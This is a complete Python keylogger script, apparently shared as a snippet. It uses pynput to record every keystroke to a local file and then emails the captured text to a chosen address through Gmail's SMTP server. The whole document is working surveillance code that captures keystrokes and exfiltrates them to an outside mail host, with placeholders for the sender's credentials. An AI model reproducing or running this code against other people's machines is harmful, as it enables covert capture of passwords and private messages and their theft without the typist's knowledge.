from pynput import keyboard

import smtplib,ssl

sender\_mail = "user@domain.com" # Replace user@domain.com with your email id (everywhere)

#prefer using your own email id for receiver's as well.

receiver\_mail = "user@domain.com"

# Replace user@domain.com with your email id (everywhere)

password = "passcode" # Enter your Password here

port = 587

message = """From: user@domain.com

To: user@domain.com

Subject: KeyLogs

Text: Keylogs

"""

def write(text):

with open("keylogger.txt",'a') as f:

f.write(text)

f.close()

def on\_key\_press(Key):

try:

if(Key == keyboard.Key.enter):

write("\n")

else:

write(Key.char)

except AttributeError:

if Key == keyboard.Key.backspace:

write("\nBackspace Pressed\n")

elif(Key == keyboard.Key.tab):

write("\nTab Pressed\n")

elif(Key == keyboard.Key.space):

write(" ");

else:

temp = repr(Key)+" Pressed.\n"

write(temp)

print("\n{} Pressed\n".format(Key))

def on\_key\_release(Key):

#This stops the Listener/Keylogger.

#You can use any key you like by replacing "esc" with the key of your choice

if(Key == keyboard.Key.esc):

return False

with keyboard.Listener(on\_press= on\_key\_press,on\_release= on\_key\_release) as listener:

listener.join()

with open("keylogger.txt",'r') as f:

temp = f.read()

message = message + str(temp)

f.close()

context = ssl.create\_default\_context()

server = smtplib.SMTP('smtp.gmail.com', port)

server.starttls()

server.login(sender\_mail,password)

server.sendmail(sender\_mail,receiver\_mail,message)

print("Email Sent to ",sender\_mail)

server.quit()